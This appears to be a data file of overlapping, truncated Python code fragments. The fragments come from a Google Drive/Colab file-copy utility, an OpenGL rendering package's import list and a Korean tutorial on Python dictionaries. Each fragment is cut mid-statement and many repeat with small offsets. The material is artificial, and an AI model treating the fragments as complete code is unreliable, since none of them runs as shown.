"import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if",
"colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive()",
"+ '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name",
"+ folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else:",
"except FileNotFoundError: print('File {} could not be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name,",
"destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source +",
"could not be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if not",
"print('File {} could not be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None,",
"else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name output_folder_name = destination + folder_name",
"Path(output_file_name).exists(): if verbose: print('File {} already exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying",
"root_files = glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders:",
"destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source = get_path_to_home_of_google_drive()",
"glob.glob(source + '*') root_files = glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose:",
"Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name)",
"aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source",
"if verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {}",
"exist_ok=True) input_folder_name = source + folder_name output_folder_name = destination + folder_name if Path(output_folder_name).exists():",
"from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None,",
"destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source +",
"copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source =",
"{}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could not be found.",
"not be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted():",
"+ file_name output_file_name = destination + file_name if Path(output_file_name).exists(): if verbose: print('File {}"
] |
[
"import ShaderStorage from .vertexbuffer import Vertexbuffer from .vao import VAO from .ibo import",
"import tiles, tiles4 from . import meshutil from . import utils from .",
".offscreen_context import OffscreenContext import os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import",
"geometry as geo from .tiles import tiles, tiles4 from . import meshutil from",
"loadTexture, ) from .shader import Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer import",
"from .ibo import IBO from .ebo import EBO from .camera import Camera #",
".ibo import IBO from .ebo import EBO from .camera import Camera # from",
"from .shader import Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer from",
"geo from .tiles import tiles, tiles4 from . import meshutil from . import",
".material import Material from . import geometry as geo from .tiles import tiles,",
"EBO from .camera import Camera # from .window import Window from .material import",
"import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer from .renderbuffer",
"Vertexbuffer from .vao import VAO from .ibo import IBO from .ebo import EBO",
"from .vao import VAO from .ibo import IBO from .ebo import EBO from",
"import Renderbuffer, RenderbufferMultisample from .texture import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, )",
"Texture1D, Texture3D, loadTexture, ) from .shader import Shader from .shader_storage_buffer import ShaderStorage from",
".shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer from .vao import VAO from .ibo",
"import OffscreenContext import os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import OffscreenContext",
".renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture,",
".vao import VAO from .ibo import IBO from .ebo import EBO from .camera",
".camera import Camera # from .window import Window from .material import Material from",
"from .shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer from .vao import VAO from",
"ShaderStorage from .vertexbuffer import Vertexbuffer from .vao import VAO from .ibo import IBO",
".window import Window from .material import Material from . import geometry as geo",
"Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer from .vao import VAO",
"( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader import Shader from .shader_storage_buffer",
"VAO from .ibo import IBO from .ebo import EBO from .camera import Camera",
".ebo import EBO from .camera import Camera # from .window import Window from",
"else: from .glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer from .renderbuffer import Renderbuffer,",
"import Camera # from .window import Window from .material import Material from .",
"import VAO from .ibo import IBO from .ebo import EBO from .camera import",
"import IBO from .ebo import EBO from .camera import Camera # from .window",
"\"egl\": from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from .fbo import",
"as geo from .tiles import tiles, tiles4 from . import meshutil from .",
"import meshutil from . import utils from . import glcontext from . import",
"IBO from .ebo import EBO from .camera import Camera # from .window import",
"Window from .material import Material from . import geometry as geo from .tiles",
"from .ebo import EBO from .camera import Camera # from .window import Window",
"TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader import Shader from .shader_storage_buffer import ShaderStorage",
".fbo import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import ( Texture,",
"from .fbo import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import (",
"import Window from .material import Material from . import geometry as geo from",
"import Vertexbuffer from .vao import VAO from .ibo import IBO from .ebo import",
"from .camera import Camera # from .window import Window from .material import Material",
".tiles import tiles, tiles4 from . import meshutil from . import utils from",
"meshutil from . import utils from . import glcontext from . import glrenderer",
"from .tiles import tiles, tiles4 from . import meshutil from . import utils",
"import Material from . import geometry as geo from .tiles import tiles, tiles4",
"os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext",
"Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import ( Texture, TextureMultisample, Texture1D,",
"from .window import Window from .material import Material from . import geometry as",
".glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from",
"from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import ( Texture, TextureMultisample, Texture1D, Texture3D,",
"Renderbuffer, RenderbufferMultisample from .texture import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from",
"RenderbufferMultisample from .texture import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader",
"from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer",
"import Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer from .vao import",
"from . import geometry as geo from .tiles import tiles, tiles4 from .",
"from .offscreen_context import OffscreenContext import os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context",
".vertexbuffer import Vertexbuffer from .vao import VAO from .ibo import IBO from .ebo",
"OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer from .renderbuffer import",
"OffscreenContext from .fbo import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import",
"import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader import Shader from",
".egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer from",
"from .glfw_offscreen_context import OffscreenContext from .fbo import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample",
"Material from . import geometry as geo from .tiles import tiles, tiles4 from",
"OffscreenContext import os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import OffscreenContext else:",
"import OffscreenContext from .fbo import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture",
"os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context",
"import os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import OffscreenContext else: from",
"# from .window import Window from .material import Material from . import geometry",
"import EBO from .camera import Camera # from .window import Window from .material",
"== \"egl\": from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from .fbo",
"from .vertexbuffer import Vertexbuffer from .vao import VAO from .ibo import IBO from",
"tiles, tiles4 from . import meshutil from . import utils from . import",
"if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import",
"None) == \"egl\": from .egl_offscreen_context import OffscreenContext else: from .glfw_offscreen_context import OffscreenContext from",
".texture import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader import Shader",
"tiles4 from . import meshutil from . import utils from . import glcontext",
"# from .offscreen_context import OffscreenContext import os if os.environ.get(\"PYOPENGL_PLATFORM\", None) == \"egl\": from",
"Texture3D, loadTexture, ) from .shader import Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer",
".shader import Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer from .vao",
"import geometry as geo from .tiles import tiles, tiles4 from . import meshutil",
"from .texture import ( Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader import",
"import Framebuffer from .renderbuffer import Renderbuffer, RenderbufferMultisample from .texture import ( Texture, TextureMultisample,",
". import meshutil from . import utils from . import glcontext from .",
"from .material import Material from . import geometry as geo from .tiles import",
"Texture, TextureMultisample, Texture1D, Texture3D, loadTexture, ) from .shader import Shader from .shader_storage_buffer import",
") from .shader import Shader from .shader_storage_buffer import ShaderStorage from .vertexbuffer import Vertexbuffer",
". import geometry as geo from .tiles import tiles, tiles4 from . import",
"Camera # from .window import Window from .material import Material from . import",
"from . import meshutil from . import utils from . import glcontext from"
] |
[
"모든 키 삭제 print( book.keys() ) # 모든 키를 출력 print( book.values() )",
"} order = { 'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate':",
") print( book ) book.update( { '판형': '3 x 4' } ) #",
"이용 # 키:값이 여러개 존재할 경우, 로 구분 menu = { '1': 'newSungJuk',",
") print( book.get( 'orderid' ) ) # 존재하지 않는 키 검색시 None 출력",
"자료구조 # 키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법 제공 # 키는 저장된",
"= { 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order =",
"custromer = { 'custid': '1', 'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' }",
"# 기존 키 삭제 print( book ) # book.clear() # 모든 키 삭제",
"book.update( { '판형': '3 x 4' } ) # 새로운 키: 값 추가",
"# book.clear() # 모든 키 삭제 print( book.keys() ) # 모든 키를 출력",
"다루는 방법 제공 # 키는 저장된 데이터를 식별하기 위한 번호나 이름 # 값은",
"키로 값 수정 print( book.get( 'bookid' ) ) print( book ) book.update( {",
"'phone': '000-5000-0001' } print(book) books_list = [] books_list.append( book ) # 생성한 딕셔너리를",
"print( book ) print( book ) book.update( { '판형': '6 x 10' }",
"# 딕셔너리에서 in 연산자는 key를 검색 print('bookid' in book) print( book[ 'bookid' ]",
"키만 알면 데이터를 바로 찾을 수 있음 # 딕셔너리는 {} 에 키:값 형태로",
"새로운 키: 값 수정 print( book ) del book[ '판형' ] # 기존",
"x 4' } ) # 새로운 키: 값 추가 print( book ) print(",
"있음 # 딕셔너리는 {} 에 키:값 형태로 이용 # 키:값이 여러개 존재할 경우,",
"번호나 이름 # 값은 각 키에 연결되어 저장된 테이터 # 따라서 키만 알면",
") # 새로운 키: 값 수정 print( book ) del book[ '판형' ]",
"print( book ) # book.clear() # 모든 키 삭제 print( book.keys() ) #",
"# print( book[ 'orderid' ] ) # 존재하지 않는 키 검색시 오류! print(",
"저장 books_list.append( book ) books_list.append( book ) print( books_list ) # 딕셔너리 처리",
"book[ 'bookname' ] # 키로 검색후 값 출력 print( bkname ) print( book.get(",
": 매핑 자료구조 # 키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법 제공 #",
"books_list = [] books_list.append( book ) # 생성한 딕셔너리를 배열에 저장 books_list.append( book",
"데이터를 다루는 방법 제공 # 키는 저장된 데이터를 식별하기 위한 번호나 이름 #",
"저장된 데이터를 식별하기 위한 번호나 이름 # 값은 각 키에 연결되어 저장된 테이터",
"# 키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법 제공 # 키는 저장된 데이터를",
"# 키는 저장된 데이터를 식별하기 위한 번호나 이름 # 값은 각 키에 연결되어",
"'custid': '1', 'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list =",
"{ 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order = {",
"다양한 자료형으로 사용 book = { 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price':",
"않는 키 검색시 오류! print( book.get( 'bookname' ) ) print( book.get( 'orderid' )",
"키:값을 튜플로 출력 items = book.items() # 모든 키:값을 튜플-리스트로 출력 print( list(",
"출력 print( bkname ) print( book.get( 'bookid' ) ) book[ 'bookid' ] =",
"않는 키 검색시 None 출력 bkname = book[ 'bookname' ] # 키로 검색후",
"키는 저장된 데이터를 식별하기 위한 번호나 이름 # 값은 각 키에 연결되어 저장된",
"'굿스포츠', 'price': '7000' } order = { 'orderid': '1', 'custid': '1', 'bookid': '1',",
"# 모든 키를 출력 print( book.values() ) # 모든 값을 출력 print( book.items()",
"연결시키는 방식으로 데이터를 다루는 방법 제공 # 키는 저장된 데이터를 식별하기 위한 번호나",
"'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order = { 'orderid':",
"print( book.get( 'orderid' ) ) # 존재하지 않는 키 검색시 None 출력 bkname",
"{ '판형': '6 x 10' } ) # 새로운 키: 값 수정 print(",
"book ) books_list.append( book ) print( books_list ) # 딕셔너리 처리 메서드 print(",
"book ) del book[ '판형' ] # 기존 키 삭제 print( book )",
"'bookid' ] ) # 딕셔너리에서 키로 검색 print( book[ 'bookname' ] ) print(",
"# 딕셔너리에서 키로 검색 print( book[ 'bookname' ] ) print( book[ 'price' ]",
"'영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list = [] books_list.append( book ) #",
"'orderid' ) ) # 존재하지 않는 키 검색시 None 출력 bkname = book[",
"x 10' } ) # 새로운 키: 값 수정 print( book ) del",
"멘체스타', 'phone': '000-5000-0001' } print(book) books_list = [] books_list.append( book ) # 생성한",
"# 값은 각 키에 연결되어 저장된 테이터 # 따라서 키만 알면 데이터를 바로",
"'판형': '3 x 4' } ) # 새로운 키: 값 추가 print( book",
"'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한 자료형으로 사용 book = { 'bookid':",
"print( books_list ) # 딕셔너리 처리 메서드 print( '1' in book ) #",
"알면 데이터를 바로 찾을 수 있음 # 딕셔너리는 {} 에 키:값 형태로 이용",
"# 따라서 키만 알면 데이터를 바로 찾을 수 있음 # 딕셔너리는 {} 에",
"'1', 'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer = {",
"'saleprice': 6000, 'orderdate': '2014-07-01' } custromer = { 'custid': '1', 'name': '박지성', 'address':",
"# 딕셔너리 : 매핑 자료구조 # 키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법",
"book ) # 생성한 딕셔너리를 배열에 저장 books_list.append( book ) books_list.append( book )",
"메서드 print( '1' in book ) # 딕셔너리에서 in 연산자는 key를 검색 print('bookid'",
"print('bookid' in book) print( book[ 'bookid' ] ) # 딕셔너리에서 키로 검색 print(",
"key를 검색 print('bookid' in book) print( book[ 'bookid' ] ) # 딕셔너리에서 키로",
"따라서 키만 알면 데이터를 바로 찾을 수 있음 # 딕셔너리는 {} 에 키:값",
"매핑 자료구조 # 키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법 제공 # 키는",
"키로 검색 print( book[ 'bookname' ] ) print( book[ 'price' ] ) #",
"# 존재하지 않는 키 검색시 None 출력 bkname = book[ 'bookname' ] #",
"book.update( { '판형': '6 x 10' } ) # 새로운 키: 값 수정",
"# 모든 키 삭제 print( book.keys() ) # 모든 키를 출력 print( book.values()",
"# 키로 값 수정 print( book.get( 'bookid' ) ) print( book ) book.update(",
"} print(book) books_list = [] books_list.append( book ) # 생성한 딕셔너리를 배열에 저장",
"'박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list = [] books_list.append( book",
"'1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한 자료형으로 사용 book",
"} custromer = { 'custid': '1', 'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001'",
") # 존재하지 않는 키 검색시 오류! print( book.get( 'bookname' ) ) print(",
"print( book.get( 'bookname' ) ) print( book.get( 'orderid' ) ) # 존재하지 않는",
"바로 찾을 수 있음 # 딕셔너리는 {} 에 키:값 형태로 이용 # 키:값이",
"키 삭제 print( book ) # book.clear() # 모든 키 삭제 print( book.keys()",
"print( book.items() ) # 모든 키:값을 튜플로 출력 items = book.items() # 모든",
"print(book) books_list = [] books_list.append( book ) # 생성한 딕셔너리를 배열에 저장 books_list.append(",
"book.items() ) # 모든 키:값을 튜플로 출력 items = book.items() # 모든 키:값을",
"# 존재하지 않는 키 검색시 오류! print( book.get( 'bookname' ) ) print( book.get(",
"추가 print( book ) print( book ) book.update( { '판형': '6 x 10'",
"= [] books_list.append( book ) # 생성한 딕셔너리를 배열에 저장 books_list.append( book )",
") ) # 존재하지 않는 키 검색시 None 출력 bkname = book[ 'bookname'",
"books_list.append( book ) # 생성한 딕셔너리를 배열에 저장 books_list.append( book ) books_list.append( book",
"위한 번호나 이름 # 값은 각 키에 연결되어 저장된 테이터 # 따라서 키만",
") ) print( book.get( 'orderid' ) ) # 존재하지 않는 키 검색시 None",
"키:값이 여러개 존재할 경우, 로 구분 menu = { '1': 'newSungJuk', '2': 'showSungJuk',",
"book[ 'bookid' ] = 99 # 키로 값 수정 print( book.get( 'bookid' )",
"검색후 값 출력 print( bkname ) print( book.get( 'bookid' ) ) book[ 'bookid'",
"키는 다양한 자료형으로 사용 book = { 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠',",
"] ) # 존재하지 않는 키 검색시 오류! print( book.get( 'bookname' ) )",
"각 키에 연결되어 저장된 테이터 # 따라서 키만 알면 데이터를 바로 찾을 수",
"딕셔너리에서 키로 검색 print( book[ 'bookname' ] ) print( book[ 'price' ] )",
"print( book ) book.update( { '판형': '3 x 4' } ) # 새로운",
") # print( book[ 'orderid' ] ) # 존재하지 않는 키 검색시 오류!",
"book ) print( books_list ) # 딕셔너리 처리 메서드 print( '1' in book",
"키에 연결되어 저장된 테이터 # 따라서 키만 알면 데이터를 바로 찾을 수 있음",
"'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list = [] books_list.append(",
"'6 x 10' } ) # 새로운 키: 값 수정 print( book )",
"출력 print( book.items() ) # 모든 키:값을 튜플로 출력 items = book.items() #",
"'publisher': '굿스포츠', 'price': '7000' } order = { 'orderid': '1', 'custid': '1', 'bookid':",
"] ) print( book[ 'price' ] ) # print( book[ 'orderid' ] )",
"값 수정 print( book.get( 'bookid' ) ) print( book ) book.update( { '판형':",
"모든 키를 출력 print( book.values() ) # 모든 값을 출력 print( book.items() )",
"'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer = { 'custid': '1', 'name':",
"'bookname' ] ) print( book[ 'price' ] ) # print( book[ 'orderid' ]",
"10' } ) # 새로운 키: 값 수정 print( book ) del book[",
"삭제 print( book.keys() ) # 모든 키를 출력 print( book.values() ) # 모든",
"'orderid' ] ) # 존재하지 않는 키 검색시 오류! print( book.get( 'bookname' )",
"items = book.items() # 모든 키:값을 튜플-리스트로 출력 print( list( items ) )",
"# 새로운 키: 값 수정 print( book ) del book[ '판형' ] #",
") book[ 'bookid' ] = 99 # 키로 값 수정 print( book.get( 'bookid'",
"'000-5000-0001' } print(book) books_list = [] books_list.append( book ) # 생성한 딕셔너리를 배열에",
"검색 print( book[ 'bookname' ] ) print( book[ 'price' ] ) # print(",
"book[ 'orderid' ] ) # 존재하지 않는 키 검색시 오류! print( book.get( 'bookname'",
"'modifySungJuk' } # 키는 다양한 자료형으로 사용 book = { 'bookid': '1', 'bookname':",
"} ) # 새로운 키: 값 추가 print( book ) print( book )",
"del book[ '판형' ] # 기존 키 삭제 print( book ) # book.clear()",
"'판형' ] # 기존 키 삭제 print( book ) # book.clear() # 모든",
"bkname = book[ 'bookname' ] # 키로 검색후 값 출력 print( bkname )",
"튜플로 출력 items = book.items() # 모든 키:값을 튜플-리스트로 출력 print( list( items",
"수정 print( book.get( 'bookid' ) ) print( book ) book.update( { '판형': '3",
"기존 키 삭제 print( book ) # book.clear() # 모든 키 삭제 print(",
"# 생성한 딕셔너리를 배열에 저장 books_list.append( book ) books_list.append( book ) print( books_list",
"] ) # 딕셔너리에서 키로 검색 print( book[ 'bookname' ] ) print( book[",
"사용 book = { 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' }",
"book[ 'bookname' ] ) print( book[ 'price' ] ) # print( book[ 'orderid'",
"딕셔너리 처리 메서드 print( '1' in book ) # 딕셔너리에서 in 연산자는 key를",
"여러개 존재할 경우, 로 구분 menu = { '1': 'newSungJuk', '2': 'showSungJuk', '3':",
"{} 에 키:값 형태로 이용 # 키:값이 여러개 존재할 경우, 로 구분 menu",
"출력 bkname = book[ 'bookname' ] # 키로 검색후 값 출력 print( bkname",
"99 # 키로 값 수정 print( book.get( 'bookid' ) ) print( book )",
"값 추가 print( book ) print( book ) book.update( { '판형': '6 x",
") books_list.append( book ) print( books_list ) # 딕셔너리 처리 메서드 print( '1'",
"'1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order = { 'orderid': '1',",
"book.values() ) # 모든 값을 출력 print( book.items() ) # 모든 키:값을 튜플로",
"존재할 경우, 로 구분 menu = { '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk'",
"'2014-07-01' } custromer = { 'custid': '1', 'name': '박지성', 'address': '영국 멘체스타', 'phone':",
"book = { 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order",
"books_list.append( book ) print( books_list ) # 딕셔너리 처리 메서드 print( '1' in",
"in 연산자는 key를 검색 print('bookid' in book) print( book[ 'bookid' ] ) #",
"= { 'custid': '1', 'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book)",
"데이터를 식별하기 위한 번호나 이름 # 값은 각 키에 연결되어 저장된 테이터 #",
"# 모든 키:값을 튜플로 출력 items = book.items() # 모든 키:값을 튜플-리스트로 출력",
"'3 x 4' } ) # 새로운 키: 값 추가 print( book )",
"print( book.get( 'bookid' ) ) book[ 'bookid' ] = 99 # 키로 값",
"'축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order = { 'orderid': '1', 'custid': '1',",
"books_list ) # 딕셔너리 처리 메서드 print( '1' in book ) # 딕셔너리에서",
") # 모든 값을 출력 print( book.items() ) # 모든 키:값을 튜플로 출력",
"형태로 이용 # 키:값이 여러개 존재할 경우, 로 구분 menu = { '1':",
"books_list.append( book ) books_list.append( book ) print( books_list ) # 딕셔너리 처리 메서드",
"딕셔너리는 {} 에 키:값 형태로 이용 # 키:값이 여러개 존재할 경우, 로 구분",
"book.get( 'bookname' ) ) print( book.get( 'orderid' ) ) # 존재하지 않는 키",
"print( book ) book.update( { '판형': '6 x 10' } ) # 새로운",
"= 99 # 키로 값 수정 print( book.get( 'bookid' ) ) print( book",
"# 모든 값을 출력 print( book.items() ) # 모든 키:값을 튜플로 출력 items",
"= book[ 'bookname' ] # 키로 검색후 값 출력 print( bkname ) print(",
") # 딕셔너리 처리 메서드 print( '1' in book ) # 딕셔너리에서 in",
"in book) print( book[ 'bookid' ] ) # 딕셔너리에서 키로 검색 print( book[",
"6000, 'orderdate': '2014-07-01' } custromer = { 'custid': '1', 'name': '박지성', 'address': '영국",
"'bookid' ) ) print( book ) book.update( { '판형': '3 x 4' }",
"'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000' } order = { 'orderid': '1', 'custid':",
"값은 각 키에 연결되어 저장된 테이터 # 따라서 키만 알면 데이터를 바로 찾을",
"] ) # print( book[ 'orderid' ] ) # 존재하지 않는 키 검색시",
"'2': 'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한 자료형으로 사용 book = {",
"삭제 print( book ) # book.clear() # 모든 키 삭제 print( book.keys() )",
"모든 값을 출력 print( book.items() ) # 모든 키:값을 튜플로 출력 items =",
"값 수정 print( book ) del book[ '판형' ] # 기존 키 삭제",
"값을 출력 print( book.items() ) # 모든 키:값을 튜플로 출력 items = book.items()",
"= { 'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' }",
"'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer = { 'custid':",
"검색시 None 출력 bkname = book[ 'bookname' ] # 키로 검색후 값 출력",
"'bookname' ] # 키로 검색후 값 출력 print( bkname ) print( book.get( 'bookid'",
"print( book[ 'orderid' ] ) # 존재하지 않는 키 검색시 오류! print( book.get(",
"] # 키로 검색후 값 출력 print( bkname ) print( book.get( 'bookid' )",
"book ) # book.clear() # 모든 키 삭제 print( book.keys() ) # 모든",
"} # 키는 다양한 자료형으로 사용 book = { 'bookid': '1', 'bookname': '축구의역사',",
"print( '1' in book ) # 딕셔너리에서 in 연산자는 key를 검색 print('bookid' in",
"print( book[ 'price' ] ) # print( book[ 'orderid' ] ) # 존재하지",
"제공 # 키는 저장된 데이터를 식별하기 위한 번호나 이름 # 값은 각 키에",
"에 키:값 형태로 이용 # 키:값이 여러개 존재할 경우, 로 구분 menu =",
"= { '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한 자료형으로",
"'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한 자료형으로 사용 book =",
"book ) book.update( { '판형': '3 x 4' } ) # 새로운 키:",
"book ) print( book ) book.update( { '판형': '6 x 10' } )",
"'1' in book ) # 딕셔너리에서 in 연산자는 key를 검색 print('bookid' in book)",
"데이터를 바로 찾을 수 있음 # 딕셔너리는 {} 에 키:값 형태로 이용 #",
"print( book ) del book[ '판형' ] # 기존 키 삭제 print( book",
"키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법 제공 # 키는 저장된 데이터를 식별하기",
"# 딕셔너리 처리 메서드 print( '1' in book ) # 딕셔너리에서 in 연산자는",
"# 딕셔너리는 {} 에 키:값 형태로 이용 # 키:값이 여러개 존재할 경우, 로",
"테이터 # 따라서 키만 알면 데이터를 바로 찾을 수 있음 # 딕셔너리는 {}",
"방식으로 데이터를 다루는 방법 제공 # 키는 저장된 데이터를 식별하기 위한 번호나 이름",
"# 키는 다양한 자료형으로 사용 book = { 'bookid': '1', 'bookname': '축구의역사', 'publisher':",
") # 생성한 딕셔너리를 배열에 저장 books_list.append( book ) books_list.append( book ) print(",
"배열에 저장 books_list.append( book ) books_list.append( book ) print( books_list ) # 딕셔너리",
"키: 값 수정 print( book ) del book[ '판형' ] # 기존 키",
") del book[ '판형' ] # 기존 키 삭제 print( book ) #",
"book.clear() # 모든 키 삭제 print( book.keys() ) # 모든 키를 출력 print(",
"'3': 'modifySungJuk' } # 키는 다양한 자료형으로 사용 book = { 'bookid': '1',",
"print( book.get( 'bookid' ) ) print( book ) book.update( { '판형': '3 x",
"키 삭제 print( book.keys() ) # 모든 키를 출력 print( book.values() ) #",
") # 모든 키를 출력 print( book.values() ) # 모든 값을 출력 print(",
"출력 print( book.values() ) # 모든 값을 출력 print( book.items() ) # 모든",
"} ) # 새로운 키: 값 수정 print( book ) del book[ '판형'",
"] # 기존 키 삭제 print( book ) # book.clear() # 모든 키",
"book[ '판형' ] # 기존 키 삭제 print( book ) # book.clear() #",
"book.keys() ) # 모든 키를 출력 print( book.values() ) # 모든 값을 출력",
"'1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer = { 'custid': '1', 'name': '박지성',",
") ) print( book ) book.update( { '판형': '3 x 4' } )",
") # 딕셔너리에서 키로 검색 print( book[ 'bookname' ] ) print( book[ 'price'",
"4' } ) # 새로운 키: 값 추가 print( book ) print( book",
"검색시 오류! print( book.get( 'bookname' ) ) print( book.get( 'orderid' ) ) #",
"경우, 로 구분 menu = { '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' }",
"# 키로 검색후 값 출력 print( bkname ) print( book.get( 'bookid' ) )",
") print( book.get( 'bookid' ) ) book[ 'bookid' ] = 99 # 키로",
") ) book[ 'bookid' ] = 99 # 키로 값 수정 print( book.get(",
